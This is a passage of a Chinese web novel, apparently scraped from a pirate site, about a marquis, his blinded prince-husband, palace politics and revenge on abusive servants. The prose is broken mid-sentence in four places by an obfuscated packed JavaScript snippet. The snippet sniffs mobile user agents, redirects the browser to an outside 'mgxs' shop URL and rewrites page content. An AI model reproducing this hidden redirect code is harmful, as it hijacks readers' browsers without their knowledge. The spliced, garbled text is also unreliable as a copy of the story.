俩人正说着话,外头又冒出人影。 “侯爷,云姨娘说来拜见夫人。” 薛俨道:“让她进来吧。” 随后便见一个水蓝色曳地长裙的女子缓步而来,她梳着妇人的发髻,簪着珠翠,衣裳首饰都是极好的品种,雍容华贵。 云娘走到薛俨跟前微微屈身,柔声似水,“见过侯爷,本该今早就来拜见夫人的,但听说夫人病了,妾不敢打扰,这才等到昏时听说夫人醒了,才来拜见。” 薛俨笑道:“你有心了,坐吧,宣卿喜欢清净,以后你不用日日来问安,我不在的时候你要多顾着这边。” 云娘笑道:“是。” 她的目光落在轮椅上坐着的人,不经意间将男人上下扫量一遍,“这便是夫人吧?妾给夫人问安,往后夫人想吃什么用什么,都可以差人来告诉我,但凡有的,我定给夫人送来。” 赵禛嗯了一声。 云娘从身后的丫鬟手下接过食盒,“这几日桃花开得正好,妾便做了些桃花酥,拿给侯爷和夫人尝尝。” 掀开盖子,果真瞧见几个精致漂亮的桃花酥罗列,薛俨拿了一块,只尝了一口便夸赞道:“这可是人间绝味。” 他又往赵禛手里塞了一块,“尝尝。” 云娘被他逗得掩唇轻笑,“侯爷的嘴常是抹了蜜一般会哄人,上个月府中的账目已经整理完了,侯爷要不要去看看?” 薛俨摆摆手,“不用,你拿到祖母那边,交给她身边的嬷嬷就是。” 云娘笑着称了声“是”。 她往旁边坐了坐,“侯爷……” 她拿着绢帕掩唇,刻意凑到薛俨耳边低语了几句。 薛俨听闻眼眸浮起一丝亮光,指尖虚空点着,调笑道:“果真?云娘啊云娘,还是你懂得多,走,过去看看。” 云娘余光望了望赵禛,“那夫人这……” 薛俨起身道:“宣卿,我过去一趟,待会儿再来陪你。” 似是担心赵禛一个人坐着无聊,他又补了句,“放心,我很快的。” 赵禛吃点心的手一顿,“侯爷按照自己的速度来就好,不必顾及我,太快……对身体不好。” 薛俨一走,屋内瞬间冷了下来,霞光西移,略过赵禛,他坐在阴影处捏着那块没吃完的桃花酥,衣襟上也落了些碎屑。 蓝瞳抱胸愤愤道:“这个云姨娘手段真是高明,三言两语就把侯爷哄走了。” 赵禛声音淡淡的,“她是正经的妾室,我不过是好友的弟弟,念在托付之情把我娶回来已是大恩,我不能霸着他……” 脑海中倏地又想到白日里听到的那番 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338476|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,薛俨家三代单传,他有克妻名头在外,又娶了男妻,往后正头娘子怕是没有了,但并不妨碍他多往房里纳几个妾室。 一个还不够吗?竟然还想再添俩。 “那个叫云娘的,漂亮吗?”赵禛的声音陡然响起。 蓝瞳想了想,“有几分姿色。” 屋内传来一声嗤笑。 * 薛俨刚踏进云娘的院子,就听得一阵“侯爷好,侯爷好”的鹦鹉叫声。 薛俨面色一喜,“果真如此,这两只鸟儿买回来的时候对谁都爱搭不理的,经云娘你一调教,还真会说话了。” 廊下鸟笼中挤着两只五彩鹦鹉,扑棱着翅膀,等薛俨一走近,越发欢腾,一个劲儿地叫着“侯爷好,侯爷好”。 薛俨将手伸进笼子里摸了摸它们脑袋,毛茸茸的毛发很有手感,“来,跟我说,宣卿好。” 那两只鹦鹉被他逗得舒服,拿嘴轻轻咬了下薛俨,尖着声音喊道:“宣卿好。” 薛俨哈哈大笑,“对,就喊宣卿好,一会儿见了人你们可得卖点力气,把他哄高兴了,给你们加餐。” 他说着提着鸟笼便要走。 云娘急喊了一声,“侯爷,小厨房炖了您爱吃的火腿,要不在这儿用了饭再过去吧,夫人身子不好也该静养,这两只鸟儿别吵着他了。” 薛俨鼻尖动了动闻着了火腿香气。 “也好。” 赵禛性子喜静,从前他遇见赵禛的几回,每次都是捧着书本研习功课,反倒显得他和少钦两个兄长像是个贪玩的小孩。 另一头,赵禛面前已经摆上了膳食,他端坐了许久,指背碰了碰碗壁,已经有些凉了,“蓝瞳,将菜热一热,我们吃吧。” 薛俨他……可真够久的。 不怕累坏了身子吗? 很快听得外头打喷嚏的声音响起,伴随着叽叽喳喳的鸟叫,有人推开了屋门。 “宣卿好。” “宣卿好。” 那两只鸟儿叽叽喳喳地叫起来。 赵禛:“……” 薛俨嬉笑一声,“我猜着你肯定会无聊,便从云娘那弄了两只会吐人言的鸟儿来,你闲着没事可以逗逗。” 赵禛动了动鼻子。 他眼睛看不见,嗅觉和听觉便显得格外敏感,薛俨此刻一身的脂粉味儿。 “多谢侯爷。”赵禛淡淡的。 “哎?”薛俨一愣,摸了摸鼻子,小声嘟囔着,“怎么不叫哥哥了?” 5. 第 5 章 薛俨打开笼子,抓出来一只鸟儿,直接塞到了赵禛手里,毛茸茸的触感让他有些手足无措,过了好久,才试探性地用指腹摸了两下。 眼看赵禛有兴趣,转天薛俨又不知道从哪抓回来一只三花狸奴,在院子里窜来窜去的,一会儿打翻只花瓶,一会儿跳到赵禛腿上窝着,好不自在。 “侯爷。”赵禛抚着猫毛,幽幽开口,“明日要到宫里拜见,你准备好了吗?” 薛俨逗哄着那两只鸟,闻言笑道:“这有什么要准备的?” 赵禛道:“你娶了我,便是得罪了大皇子和太子,如今朝中多被这两人把控,你怕是要被他们针对的。” 薛俨将鸟笼挂好,“除了这俩人,朝中不是还有第三方吗?” 赵禛问:“你是说那个常年驻守边疆的三皇子?他不在朝野,能有什么用。” 薛俨笑笑,“不是啊,我说的是最上面那个。” 赵禛一怔,皇帝? 薛俨道:“我娶了你,也就是明摆着告诉你父皇,我不参与党争,对于一个总被人觊觎屁.股底下龙椅的皇帝来说,我是难得的忠臣,而且在军队也有一定话语权和地位,他会保我的。” 在这个皇权至上的时代,皇帝大于天。 任凭大皇子和太子争执不休,任凭高官权贵手眼通天,他们的一切都是皇帝给的,皇帝的一句话,就能让一个人的多年筹谋化为尘土。 在皇帝面前,即便所有人联手都是不堪一击。 他们现在根基不稳,无数双眼睛盯着,贸然出手就是自己找死。 现在最好的办法就是:猥琐发育,别浪!让他们自己先杀着,等苟进决赛圈,再开枪突突死他们。 赵禛莞尔。 他竟小看薛俨了,他以为薛俨常年在外,不懂京中的弯弯绕绕,没想到薛俨并不是傻子。 从他被幽禁晋阳宫的那一刻,就说明他已经彻底从夺嫡之战中退出了,更何况他现在眼瞎腿残,更是无缘皇位。 倘若薛俨娶了哪个公主郡主,或者王侯家的小姐,或许都会跟随妻族的脚步顺势成为某个皇子的党派。 但薛俨娶的人是一个已经出局的皇子,就等同于站在了老大和太子的对面,往后朝堂之中能保住他的只有皇帝,而薛俨也就只能依附于皇帝。 皇帝需要一个这样的人。 赵禛道:“朝堂上的人或者事,侯爷了解吗?” 薛俨蹲在他脚边开始去挠那只猫的肚皮,又从盘子里取了小鱼干喂给它吃。 “不了解,宣卿要跟我讲讲吗?” 赵禛笑笑。 薛俨很聪明,但他毕竟常在边关,京城的官员大多不熟,尤其是党派纷争,谁是谁的人,简直是一团乱麻。 赵禛道:“如今朝中五子相争、两派为主,以大皇子为首,包括七、八皇子和户部尚书、吏部侍郎在内的一党,以及太子为首,包括五皇子和严丞相、新任工部尚书、顺天府尹在内的太子一党。” “还有一些人正摇摆不定,想两头下注,至于其他的小官小吏,我可以将知道的写下来,你记在心里,若是遇到什么事了,可借力打力。” “好。”薛俨听得一个头两个大。 好乱—— 九子夺嫡果然不是简单的。 薛俨大婚,朝廷给了几日小假,而三朝回门是旧俗,就算是男妻也不能例外。 回门当日,薛俨特意给赵禛挑选了件牡丹流云纹的绯红春衫,衣裳秀丽,正好衬托出赵禛这张稍有清瘦苍白的脸。 白绸蒙眼,薛俨帮他在脑后打了个结。 他揉了揉赵禛的头发,“别怕,今日进宫,神挡杀神,谁都不能越过我欺负你,他们若是说了什么,你只当没听见,我帮你骂回去。” 堂堂皇子下嫁做了臣妻,那么作为曾经的对手,大皇子和太子一党肯定会趁机落井下石,好生羞辱赵禛一番。 赵禛浅浅一笑,“嗯。” 他虽然不明白皇帝为什么会愿意把他放出来,但绝对不是因为薛俨的求婚,他也很好奇呢。 府门前停着马车,薛俨将赵禛抱进车里,蓝瞳和松烟则将轮椅从后面搬到了车上。 马车行过闹市区,外头熙熙攘攘的声音传来,薛俨忍不住掀开车帘看了看,“好多年没回京,京里竟这般热闹了。” 他鼻尖闻到了一阵糕点香气,下意识想叫松烟去买回来,但转念一想,赵禛肠胃虚弱,吃不得随便的东西,他也不好故意勾人的馋虫,便又压下了欲念。 车内有些安静,薛俨努力找了个话题,“我听说皇后不是太子的亲娘?” 赵禛嗯了一声,“严格来说,皇后算是太子的姨母,她和已故的元后是一母同胞的姐妹,元后死后,太子正当年幼、无人照料,严家便又送了个女儿进来,样貌肖似元后七分,又有血缘亲情在,便立为新皇后,将太子送到了她膝下养大。” 薛俨又问:“我还听说她素来吃斋念佛不问世事,甚至连后宫的事都交给了陈贵妃,这又是为什么?” 赵禛道:“严皇后入宫那年才十六岁,圣眷正浓,很快便怀孕了,五个月后孩子没了,过了几年她腹中又添了一胎也没生下来。自那时起,她便心灰意冷,自请去了佛堂,也不再管后宫琐事。” 薛俨吃瓜吃得津津有味。 至于那俩孩子怎么没了,从阴谋论讲,应该会有更多的瓜,但这属于宫闱秘辛了。 “还有更劲爆的瓜吗?” 赵禛茫然,“什么瓜?” “啊,我是问,还有更劲爆的故事吗?我爱听。” 赵禛笑笑,“我们现在走的这条街叫成贤街,街上有一家字画店,专卖盗版古董,却一字价值千金。” 薛俨:“那是为什么?” 赵禛:“如果陛下给你的官你不满意,想往上爬一爬,只需要去里面逛一圈,自然有人为你分忧,而你只需要花亿点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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赵禛唇角一扬,“侯爷想帮她吗?有时候你想解决问题,就得把动静闹大,那些需要刀刃的人闻着味儿就来了。” 薛俨眉梢一挑,“你是说大皇子?” 他说罢掀开轿帘,招呼来一个小子,又从腰下解了个沉甸甸荷包给他,又朝他低语了几句,“你去跟着那个伸冤的妇人,问清楚怎么回事?” 闹剧事了,马车行至皇宫门外。 薛俨将赵禛的轮椅放好,将人抱上去,门外已经有太监在等着了,瞧见他们赶忙过来行礼问安,又在前头引着路。 回门算的上是家事,皇后没有露面,皇帝在陈贵妃的宫里设了宴席。 还没到宫门就听见有人阴阳出声,“临淄侯好大的架子啊,竟然叫父皇等了你们一盏茶的时间,莫不是觉得娶了六弟,便可以耀武扬威了。” 薛俨打眼一瞧,一个身穿明黄蟒袍的男人浩浩荡荡走来。 啊,傻逼来了—— 6. 第 6 章 “见过太子殿下,实在是因为有事耽搁了,待会儿微臣定会亲自向陛下告罪,听闻太子殿下素来宽厚仁慈应该是不会跟臣计较的吧?” 薛俨抱拳见礼,几句话把太子堵了回去。像太子这种久居高位的人最看重脸面,高帽子就是他的宿敌。 太子赵乾被他噎了一下,只好[宽厚仁慈]的原谅了薛俨的姗姗来迟,转而嘲讽道:“薛俨,你胆子可真是大,竟然敢当朝求娶皇子。” 薛俨却是哈哈一笑,“多谢殿下夸奖,微臣要是胆子不大,那在边关斩下的军功人头岂不是成了假的?” 他说这话时,眼底微眯,黑沉沉的眼睛带着久经沙场的肃杀气,莫名将太子赵乾吓了一跳,“你,这是在威胁本宫?” 薛俨笑道:“臣不敢。” 反倒是他身后另一个男人,慢悠悠走到赵禛的轮椅面前,居高临下俯视着他,眼底戏谑,“这是六弟?数日不见,怎么堕落至此了?难不成是临淄侯没有好好爱护你?” 他这话说的,实打实的嘲讽了赵禛下嫁做了男妻的事。赵禛攥了下衣角,正欲怼回去,轮椅便被人往后拉开,一个人挡在他面前。 “哎呀,这位莫非是……五殿下?您瞧我这眼拙的,我极少回京,认不得人,您跟在太子殿下身边,我还以为是哪个小太监呢?故此未曾行礼,臣向殿下赔罪。” “你……”五皇子赵临双眸一瞪。 “殿下乃是皇子龙孙,海纳百川,应该不会跟臣这等没有见识的武夫见识吧?” 赵临可不是太子,他正要发飙。 薛俨却又故意补了句,“我说你是太监,你不会生气了吧?男人不能这样小肚鸡肠的。” 身后太监宫女数十双眼睛盯着,赵临自然不会承认自己小肚鸡肠,只能咬牙,“不会。” 然而薛俨却不罢休,他故意往赵临跟前凑了凑,歪头看了又看,“你好像真的生气了,你别生气呀。” 赵临气道:“我没生气!” 然而他这一吼,薛俨却气焰弱了,“你看你果然还是生气了。” 赵临正要说什么,却见薛俨转而到太子身边抱拳道:“太子殿下您这么宽宏大量的人,快替我说句话啊,我真不是故意的。” 太子清了清嗓子,“老五,你就别跟他计较了。” 赵临恨得牙根痒痒,但太子已经发话了,他还能计较什么,只能愤愤道:“我没生气。” 薛俨笑笑,“那真是太好了,以后大家就是亲戚了,两位兄长先往里请。” 他站到一侧,腾出一条路来。 老五赵临被他闹得一肚子气,拂袖冷哼一声,抬脚便走。 只是他刚走两步,后衣领子就被人揪住了,导致他踉跄几步差点摔倒,甚至几根头发丝都被那股大力缠住扯得头皮生疼。 “你干什么?”赵临气得大叫。 薛俨委屈地指指太子方向,“长幼有序,尊卑有别,五殿下怎么能走在太子殿下身前呢?我是为了提醒一下您。” 太子满意地点点头,甚至别有深意地看了眼赵临,摆袖向前去了。 赵临咬牙身后。 身后轮椅行走声咕噜咕噜地响,薛俨跟没眼色一样,还在不断地问:“我刚才是不是抓疼你了?哎,我就是个粗人,我只是想提醒你来着,你不会生气吧?你可千万别生气啊?我跟你道歉行不行?要不待会儿我当着陛下的面跟你道歉?” “太子殿下,你说句话啊,他还在生我的气,这可怎么办啊?你别生气啊。” 赵临气得心脏突突地疼。 现在好了,身后这几十个宫人都知道他小肚鸡肠了。用不了半天,整个皇宫就都知道了。 赵禛坐在轮椅上,唇角轻轻弯着,心口莫名有些酸涩,自从母妃去世后,他孤身奋战,联朝臣,斗皇子,广结党羽,身边只有利益纠葛,却也从未这样被人护在身后。 进入宫殿的刹那,好几双眼睛齐刷刷地望过来,薛俨余光扫了几眼,正位上坐着的自然是嘉平帝,旁边娇媚的美妇人应该是陈贵妃。 再往下看,案桌前身穿紫色蟒袍,瞧着道貌岸然的男人应是大皇子,他旁边的两个年纪稍小些的……薛俨揉了揉眼,这俩克隆人应该就是七、八皇子。 据说这二位是双胞胎,长得很像,但薛俨确实没料到竟然这么像,不过些许细微神情、动作还是能将两人区分开,七皇子喜静,八皇子好动,如今俩人正看好戏似得望过来。 “臣薛俨恭请圣安。”薛俨掀袍跪地,“臣来迟了,实在是罪无可恕,请陛下降罪。” 他说着又看向旁边的赵禛,“宣卿他腿疾不便,臣代他给陛下请安。” 嘉平帝依旧是瞧不清喜怒,“宣卿,你的眼睛和腿是怎么回事?” 赵禛嗓音沙哑道:“意外踩空,摔折了腿,误食毒物,害瞎了眼。” 短短几个字便涵盖了他在晋阳宫那半年所受的苦,而这只是明面上被人得手的,其他没能得手的暗箭还不知道有多少呢。 薛俨有些心疼,这几天他一直不敢过问晋阳宫的那段日子,担心宣卿回忆起来会心理不适,他只知道被幽禁到那里的皇子没一个好下场,却没想到竟是这般难熬。 眼前的五个皇子各有心思,他们都想要他死,想要将他踩到脚下再也爬不起身。 气氛格外紧张。 大皇子把玩着茶杯玩味儿望过来,七皇子低头默默地转着玉扳指,八皇子则是毫不掩饰眼底看好戏的态度。 另一侧的太子一副事不关己高高挂起的模样,五皇子还因为方才的事嫉恨于心,眸光像是淬了毒,恨不得将薛俨扒皮抽骨。 嘉平帝的脸色也不太好看。 赵禛这般明白地说出来,有点儿打嘉平帝的脸,好似在说他这个做父亲的不念骨肉亲情,致使儿子被宫人暗害成这样。 薛俨眼看气氛紧张,自个儿起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338478|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身道:“臣姗姗来迟,实则是被街坊的一则闹剧拦住了。” 果然,嘉平帝闻言被他转移了话题,脸色也好看了些,“哦?什么闹剧。” 薛俨推着赵禛默默走到旁边给他们留好的案桌前,“顺天府衙门最近在修缮,结果梁木砸死了一个木匠,他们只赔了三吊钱,木匠的家里人找过来要说法,披麻戴孝地在顺天府门口哭灵,连棺材都抬过去了。” 他这话一出,太子倏地脸色一变,五皇子眸中恨不得喷出了火。 对面的大皇子等人也不再转手上的茶杯了,全部讶然地看着他。 陈贵妃没有儿子,也争不出什么东西来,那些党争跟她有什么关系呢?她的目的只有哄着皇帝高兴,非常捧场地问:“然后呢?” 薛俨道:“然后顺天府就说仵作早验了尸,那男人本就命不久矣,就猜测他是不是为了给家里的老母妻儿换点钱,所以自己闹了这出戏。不过后来……” 他话锋一转,开始瞎编,“后来我瞧见那个不认得的官,跟那个新丧夫的貌美小寡妇在巷口拉拉扯扯了一番,我就猜他俩是不是有一腿呢?果不其然,我蹲在巷口瞧着他俩亲了会儿嘴,然后就来迟了。” 他不乱编一把,根本没法解释自己为什么在这儿提顺天府的事。 众人一阵沉默。 蹲在巷口看别人亲嘴,也就只有他能干得出来了。 太子也没料到会是这个话风突转,却也舒了一口气。 嘉平帝顿了顿,有些好笑,“朕记得你父亲为人最是严谨古板,怎么生出你这个混不吝来,还蹲在巷口看人家……为此不惜误了朕的时辰。” 薛俨笑道:“臣实在心生好奇,还想着要是能瞧见什么好事,能跟陛下讲一讲,好搏陛下一笑。” 嘉平帝果然大笑,却转念又想起了薛俨那为国捐躯的父亲,“你父亲在时常担心你的婚事,如今朕可是连自己的儿子都赔进去了,这段时间,你和宣卿相处的如何?” 薛俨道:“那自然是极好,臣恨不得学汉武帝筑一座金屋子将宣卿藏进去,这可是陛下赐予臣的良缘,自然得珍之重之。况且宣卿的相貌还有三分肖似陛下,臣瞧见他,就会想起天威浩荡。” 嘉平帝听他这么说,视线望向赵禛,蒙眼的白绸下,他的鼻子似乎确实跟自己有那么一点相似,至于嘴巴则随了已逝的贤妃。 想到那个温柔如水的女子,再看看现在低眉顺眼、浑身上下都透着[可怜]和[惨]的赵禛,嘉平帝忽然生起几分怜爱。 “晋阳宫那边……” 晋阳宫的奴才是什么德行,谁不知道?但从前不在乎,便也不闻不问任由去了,如今想起来,便多了丝愧疚。 薛俨道:“晋阳宫的宫人们照顾宣卿实在辛苦,臣家中人丁稀少,唯恐照顾不周,外头新买的仆人又怕他们笨手笨脚,臣便想大胆向陛下讨个赏赐。能不能把从前在晋阳宫照顾宣卿的人赐给臣?” 7. 第 7 章 嘉平帝何尝不知道薛俨要这些人是为了什么,但他对儿子的丁点怜爱之心刚被勾了起来,又要的不过晋阳宫的几个奴才,给他便是了。 “准许。” “多谢陛下。”薛俨起身行了个大礼,等回到赵禛旁,又趁着无人时故意捏了捏他的手,像是在邀请他看好戏。 不多时,宫人鱼贯而入,奉了酒菜,薛俨挑出些赵禛能吃的给他夹到碗里,再将碗筷放到他手边,赵禛顺势夹菜入口。 陈贵妃见状笑道:“陛下真是做了一桩好姻缘,虽非寻常夫妻,但也着实恩爱,令人艳羡。” 嘉平帝也点头道:“李德忠,回头遣几个太医过去给六皇子瞧瞧,需要些什么药材,就从库里拿。” 李德忠是皇帝身边的贴身大太监。 薛俨立马站出来,“多谢陛下,此情此景让臣想到了自己的父亲,若是父亲仍在,定和陛下一样慈爱。” 嘉平帝笑着打趣道:“你父亲就你这么一个儿子,把你看得跟眼珠子似的,朕可比不得。” “陛下!”薛俨又行了一个大礼,“臣幼时丧母,少年丧父,活到今日全靠陛下庇佑,要说爹,您就是臣的爹,如今臣又娶了宣卿,岳父也是父,父皇,请受儿臣一拜。” 太子差点儿一口茶把自己呛死,大皇子满眼不可置信,陈贵妃的眼睛也瞪圆了,便连赵禛都有些不可思议。 这世上竟有此等会顺着杆子往上爬的人,那张嘴究竟是怎么说出这么谄媚的话的?听得人鸡皮疙瘩都出来了。 寻常人拜干爹,有拜权臣的,有拜太监的,第一次瞧见有人厚着脸皮管皇帝叫爹,你敢叫,你看陛下应不应你? 嘉平帝一口糕点没咽下去险些把自己噎驾崩过去,素来分不清阴晴的老脸上头一次出现了惊讶、迷茫来回交织。 好不容易,嘉平帝将自己顺了过来,低头望望跪着的薛俨,“嗯,起来吧。” 他这一点头,算是默认了薛俨这半个儿子,台下几个皇子都震惊了,真答应了? 薛俨笑嘻嘻爬起来。 他们都有脸拜太监做干爹,他为什么不能喊皇帝做父皇? 而且嘉平帝现在需要他,所以嘉平帝肯定会答应的。 三角形具有稳定性,如今朝中大皇子、太子两方争执严重,随着皇帝身体日渐衰弱,隐隐有崩盘的趋势,所以他需要再培养些不参与党争的人,呈现三足鼎立,互相牵制。 等到宴席结束,薛俨带着皇帝的口谕和他派出来的公公,狐假虎威地往晋阳宫方向去了。 外头风大,他蹲下身给赵禛罩了件大氅,又凑到赵禛低声笑道:“要去晋阳宫了,看哥哥给你报仇。” 温热的气息滚在赵禛耳边,他呼吸不可控地微微一滞,他不习惯和人这般亲密。 晋阳宫位于郊外,原是皇帝行宫,后来逐渐演化成了关押幽禁皇子的冷宫,这地方地处偏僻,平日多受冷眼,里头的宫人们也没什么油水可捞,就开始在[罪人]身上动手脚。 要么是克扣膳食、碳火、棉褥等物品,要么是拿了外头主子的银子来故意折腾里头的人,又或者是瞧着平时高高在上的人一朝零落成泥,他们抱着某种变态的心思过来踩一脚。 此刻,晋阳宫的所有人全部跪成几排,各个惶惶不安,薛俨推着赵禛的轮椅走过,咕噜咕噜的车辙声响在青石板上,颇有种黑白无常带着铁链子过来索命的恐怖。 薛俨终于立定,清了清嗓子,慢悠悠地从袖中取出一张纸条,上面写满了人名,跟阎王的生死簿似的。 蓝瞳站在他身侧,踮着脚尖往[生死簿]上瞧,薛俨身量修长,蓝瞳还只是个十五岁的少年,为了照顾对方的身高,薛俨特意低了一点。 “来,瞧瞧,有没有什么漏掉的,没有的话咱们就开始念了。” 从第一个名字开始,“林吉祥。” 声音不大,但在极其恐怖且死寂的环境中格外刺耳,薛俨视线扫过全场,战战兢兢跪着的一片人内有一个太监轰然晕了过去。 薛俨招了招手,一盆冰水硬生生泼了过去,将人浇了个透心凉,又拖了出来跪在赵禛面前。 薛俨认了认人,开始旁若无人地跟蓝瞳聊起了天,“这阎王爷的十八层地狱都有什么刑罚来着?” 蓝瞳想了想,“下油锅,拔舌头,吊铁树,蒸笼……” 他每说一样,那个叫林吉祥的太监便缩着膀子往地上磕头,直到磕得鲜血淋漓,“殿下饶命啊,殿下,侯爷,奴才再也不敢了。” 薛俨开始看第二个人名,“张翠竹。” 一个老嬷嬷被人拖了上来,她的胆子还不如林吉祥呢,脸色发白,甚至吓得心理性干呕都出来了。 薛俨不知道从哪弄了只朱笔,每念一个名字,就跟那判官勾魂似得勾掉一个名字,等他终于将长长的名单念完,外头跪着的也没剩下几个了。 只可惜其中有几个人名在他来之前不知是听到了风声还是怎么回事,已经自尽而亡了。 赵禛拉了下薛俨的衣角,“花穗,她曾照拂于我。” 薛俨秒懂,甚至有点感动,宣卿真是一个知恩图报的好孩子啊。 “花穗!”他念出最后一个名字。 一个年纪稍轻些的宫女站了出去,不同于旁人战战兢兢,她脸上一看就没有做过贼的心虚,只是多了几分惶恐,缓缓跪在薛俨面前。 赵禛道:“多谢你曾经的照拂,我记得你一直想出宫嫁人,我可以放你出去。” 他又拉了拉薛俨的衣角,“侯爷,借你一些银两。” 薛俨再次秒懂。 然而他摸了下腰间的荷包却摸了个空,他的表情逐渐尴尬起来,他已经把银子全给那个出去探听消息的小子了。 他清了清嗓子,不想让赵禛失望,于是朝旁边的松烟开始借钱,“你带钱了吗?借给我,回头还你两倍。” 松烟摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338479|199281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍了全身,最后在薛俨捧着双手期待的目光下,掉落三枚铜板,薛俨的笑容戛然而止,“你怎么这么穷?” 松烟摸摸鼻子,从马车处揪过来一个人,“爷,他有钱,跟他借。” 在薛俨期待的目光中,车夫从腰带里摸出来几个铜板,又摘掉帽子从头发缝里抠出来块碎银子,扔到了薛俨手心。 薛俨双手捧着可怜的铜板,下意识学着乞丐抖碗抖了两抖,“没了?” 车夫无奈,又将鞋脱了下来,从鞋里抖出来一块较大的碎银子在薛俨的万般嫌弃中准备放进他手心,薛俨猛地将手转移了方向,“等等,太贵重了,你放地上吧。” 仨人凑了凑没凑出多少东西,松烟拉着薛俨又往马车后面的小厮、护院处招呼着喊道:“来,走过路过,不要错过这个打赏侯爷的机会,借一还二,机不可失时不再来,有钱的捧个钱场,没钱的捧个人场。” 薛俨周边瞬间围上来几个人,听着清脆当啷地几声响,他捧着的手心里又多了些铜板和碎银子,他一咬牙,又将松烟腰间的玉佩也扯了下来,算是凑了一波钱。 蓝瞳赞助了一个钱袋子,将这些鸡零狗碎的东西全部塞进去,连着那块带了点味道的碎银快也扔了进去,死死绑住了袋口。 薛俨将银子塞到花穗手里,“给,别嫌弃,已经是全部家当了。” 花穗有些犹豫。 沉甸甸的钱袋子少说也有几十两银子,更何况还有那块一看就价值不菲的玉佩。 蓝瞳上前将花穗扶起来,“花穗姐姐,你快收着吧,这下你终于可以出宫跟你的柳大哥成亲了。” 花穗眼泪啪嗒啪嗒地往下掉,“多谢殿下,多谢侯爷,只是这钱……奴婢不能收。” 花穗想推辞,薛俨却是又塞回了她手里,“多谢你照顾我们家宣卿,这是谢礼,往后若是遇到什么难事,只管再来临淄侯府找我们。” 松烟也在旁双手抱胸打趣道:“宫女姐姐,快拿着吧,我们侯爷最怜香惜玉了,你再哭一哭,他怕是要把我们几个都卖了给你买糖吃了。” 薛俨一脚踹了过去,“你小子……” 松烟笑嘻嘻的躲过去。 薛俨来的时候只有一辆车,走的时候是三辆车,后面两辆车跟灵车似得,时不时传来点哭声,听得薛俨又叫人把他们嘴堵上了。 等回明月阁,薛俨给赵禛摆了茶水点心,从背后环过赵禛捏走了他衣领处的刚落下的粉白桃花瓣,双手顺势搭在赵禛肩上,活像泥菩萨身侧的怒目金刚。 他拍了拍手,将那帮王八蛋们都放到院子里,院中的人手也只留了几个贴身的。 “来吧,我看看先处理哪一个。” 他的视线扫过全场,每一个人垂下了头,生怕自己成了一个被宰的猪。 薛俨看了半天有些犯难,最后选了最简单的办法,伸出指尖慢悠悠地开始虚空乱点,“小公鸡,点点点,点到谁,就是谁……” 8. 第 8 章 “幸运儿,就是你了。” 薛俨话音落下,那个老嬷嬷就被带到了赵禛面前,根本不用赵禛说话,蓝瞳就在旁边气势汹汹地叉腰骂道:“侯爷,就是她先前借着量衣物的借口,用针扎了殿下。” 赵禛捏着衣袍的指节有些泛白,浑身如坠冰窟,听到那个老嬷嬷求饶的声音,在晋阳宫时的日子又恍然出现在眼前。 刺骨的寒意蜂拥而来,他搓了搓小臂,是春日里的艳艳烈阳吹不透的冷,但很快,一只温热的手覆了上来,寒意被那只手彻底驱逐。 薛俨蹲下身柔声道:“宣卿,别怕,我不是要揭你的伤疤,倘若有一天是我沦落到晋阳宫那鬼地方,他们也会这么对我的,这世上的人就是惯会捧高踩低。” “就像现在的情形是,他们落到了你的手里,你只管有仇报仇,有怨报怨,有我给你撑腰,你想做什么也没人敢说个[不]字。” 赵禛被人握住的那只手不断传递来丝丝暖意,他唇瓣轻轻抿起,终于点了点头。 薛俨唇角勾了勾,只是再扭过头来看向那老嬷嬷时眼底蒙上了一层刀霜,他缓缓站起。 “想来你的针线活应当做的不错,松烟,给她备上点针线绢布,先绣三十幅蝶戏牡丹给我们宣卿擦脚用,下个月的这个时候应该能绣完吧?” 那老嬷嬷瞪大了眼,哭都哭不出来了,“侯爷,这根本不可能绣出来的,求您开恩啊。” 一副绢帕少说也六七天才能完成,蝶戏牡丹这种繁杂精致的图样,至少也要十天的工期,他张口就是一个月三十副,摆明了要的不是绢帕,是命。 “松烟,派人盯着她,工期这么紧,晚上也甭睡了,下个月本侯会亲自清点,少绣一副就切你一根手指头,连手带脚二十个,能保住几个就看你的能耐了。” “得嘞。”松烟等人跟在薛俨身边多年,他一个眼神就知道什么意思了,“她要是打一下瞌睡,我就把她的眼皮吊到房梁顶上。” 